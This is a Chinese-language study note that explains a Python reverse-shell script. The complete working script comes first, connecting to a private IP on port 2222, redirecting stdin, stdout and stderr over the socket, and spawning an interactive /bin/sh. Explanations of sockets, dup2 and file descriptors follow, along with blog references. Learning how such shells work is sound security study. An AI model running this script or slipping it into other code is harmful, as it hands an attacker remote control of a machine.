import os,socket,subprocess;
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.110.130',2222))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
(1)在任何类型的通信开始之前,网络应用程序都必须创建套接字
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket:创建套接字,socket.AF_INET代表使用IPv4协议,socket.SOCK_STREAM 代表使用面向流的Tcp协议(TCP套接字的名字SOCK_STREAM),作用于通信
(2)网络中 ip 地址和 port 端口定义唯一的一个进程,实现不同主机之间的通信
s.connect(('192.168.110.130',2222))
(3)作用:重定向
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
dup2(fd1, fd2) :传入两个文件描述符,fd1和fd2(fd1是必须存在的),如果fd2存在,就关闭fd2,然后将fd1代表的那个文件(可以想象成是P_fd1指针)强行复制给fd2,fd2这个文件描述符不会发生变化,但是fd2指向的文件就变成了fd1指向的文件。
fileno() :返回一个整型的文件描述符(file descriptor FD 整型)
注意:文件描述符是 Linux 中独有的,在 Linux 中,一切皆是文件
在linux中系统对于文件的操作是根据文件描述符来决定的,文件描述符是一个比较小的大于等于3的整数,0表示标准输入stdin,1表示标准输出stdout,2表示标准错误输出stderr
说明:当一个应用程序刚刚启动的时候,0是标准输入,1是标准输出,2是标准错误。如果此时去打开一个新的文件,它的文件描述符会是3。POSIX标准要求每次打开文件时(含socket)必须使用当前进程中最小可用的文件描述符号
因此以上命令代表:将socket传回的数据 替换 stdin,stdout,stderr 原本内容(在 攻击机 监听端口时会自动创建一个套接字)。
我的想法是这样:
- 标准输入:来自于 攻击机 传输的内容
- 标准输出、标准错误:来自于 目标机 输出的内容。由于 目标机与攻击机 之间的连接,通信,目标机输出内容会被传到 攻击机 显示
(4)subprocess库:允许生成新的进程,连接到它们的 input/output/error 管道,并获取它们的返回(状态)码
p=subprocess.call(['/bin/sh','-i'])
call():执行指定的命令,返回命令执行的状态码
//bash是shell的一种,是linux下最常用的一种shell;传入参数“-i”,使bash以交互模式启动
综合上面,shell 被调用,执行 攻击机 输入的内容,相当于 攻击机 控制了目标机
参考文献:
Python3实现反向Shell_Pad0y的博客-CSDN博客(脚本学习,感觉蛮有用,中间的原理清晰)
简单理解socket(socket.AF_INET,socket.SOCK_STRE,os.dup2(s.fileno(),0),subprocess.call([“/bin/bash“,“-i“])_liver100day的博客-CSDN博客
记一次对python反弹shell的分析 - HF9 - 博客园
一、Socket技术详解 - 简书(写得很详细,重新复习)